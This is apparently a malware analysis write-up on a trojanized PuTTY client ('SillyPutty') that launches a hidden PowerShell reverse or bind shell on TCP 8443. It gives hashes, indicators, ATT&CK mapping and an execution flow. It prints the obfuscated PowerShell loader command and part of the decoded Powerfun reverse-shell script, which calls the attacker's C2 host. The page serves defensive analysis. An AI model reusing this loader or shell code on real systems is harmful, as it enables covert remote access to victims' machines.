0x The Malware Lab
Backdoor
Backdoor.PuttyPowerfun.Win32

Win32 · PuttyPowerfun

A trojanized copy of the legitimate PuTTY SSH client. It looks and runs like real PuTTY, but at launch it also spawns a hidden PowerShell that decodes a base64/gzip-compressed "Powerfun" script, opening an SSL reverse/bind shell to an attacker host on TCP 8443.

Identification

Original name
SillyPutty.exe
Aliases
SillyPutty.exe, putty.exe
File type
PE32 executable (GUI) Intel 80386, for MS Windows
SHA256
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83
MD5
334a10500feb0f3444bf2e86ab2e76da
VirusTotal

Capabilities

Indicators of Compromise

Network indicators

TypeValueNote
domainbonus2.corporatebonusapplication.localC2 resolved via DNS A record at detonation
portTCP 8443 (SSL/TLS)Reverse/bind shell callback (CLIENT HELLO to the C2)

Host indicators

TypeValueNote
processpowershell.exe (child of putty.exe)Hidden PowerShell spawned at detonation
commandpowershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sI...'))), [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"Base64 + gzip PowerShell loader (Powerfun)

MITRE ATT&CK

TechniqueIDNote
Command and Scripting Interpreter: PowerShellT1059.001Runs a hidden, encoded PowerShell payload.
Obfuscated Files or InformationT1027Payload is base64-encoded and gzip-compressed.
Deobfuscate/Decode Files or InformationT1140Decodes and decompresses the payload at runtime.
MasqueradingT1036Ships as a genuine-looking PuTTY client.
Non-Standard PortT1571SSL shell over TCP 8443.

Execution flow

1. The user runs what appears to be PuTTY; a PowerShell window flashes for a moment, then PuTTY launches normally (with or without internet). 2. putty.exe spawns a hidden child powershell.exe. 3. PowerShell decodes a base64 + gzip blob into the Powerfun script. 4. The script resolves bonus2.corporatebonusapplication.local and opens an SSL/TLS shell on TCP 8443 (a CLIENT HELLO to the C2 is visible in Wireshark).

Static analysis

File metadata looks like genuine PuTTY: Copyright © 1997-2021 Simon Tatham, Product "PuTTY suite", Release 0.76, created 2021-07-10. But VirusTotal flags it 63/73.

Among the legitimate PuTTY strings sits a malicious one: a powershell.exe -nop -w hidden -noni -ep bypass command that base64-decodes and gzip-decompresses a script and executes it via [scriptblock]::create. kernel32!CreateThread is used to launch it.

Not packed: all imports and strings resolve normally; a packed binary would show an almost-empty IAT and a raw-data size of 0, which is not the case here.

Dynamic analysis

bonus2.corporatebonusapplication.local, followed by a callback on TCP 8443. The callback protocol is SSL/TLS — identifiable in Wireshark by the CLIENT HELLO to the domain.

a child of putty.exe (pivot on "process name contains powershell" or examine putty.exe's children in Procmon). Its arguments show it executing a base64-encoded, compressed string.

Decoding the base64/gzip blob yields the Powerfun script ("Powerfun – Written by Ben Turner & Dave Hardy"), which supports bind and reverse modes and connects using a TcpClient on port 8443.

Advanced analysis

The embedded PowerShell (decoded) is a Powerfun stager:


# Powerfun - Written by Ben Turner & Dave Hardy
function powerfun {
  Param([String]$Command,[String]$Sslcon,[String]$Download)
  if ($Command -eq "bind") {
    $listener = [System.Net.Sockets.TcpListener]8443
    $listener.start(); $client = $listener.AcceptTcpClient()
  }
  if ($Command -eq "reverse") {
    $client = New-Object System.Net.Sockets.TCPClient("bon...", 8443)
  }
  ...
}

Screenshots

Legitimate-looking PuTTY metadata / VT score
Legitimate-looking PuTTY metadata / VT score
Malicious PowerShell string among PuTTY strings
Malicious PowerShell string among PuTTY strings
MalAPI.io mapping of suspicious imports
MalAPI.io mapping of suspicious imports
Hidden PowerShell child process (Procmon)
Hidden PowerShell child process (Procmon)
Decoded Powerfun script / TCP 8443 callback
Decoded Powerfun script / TCP 8443 callback
← All samples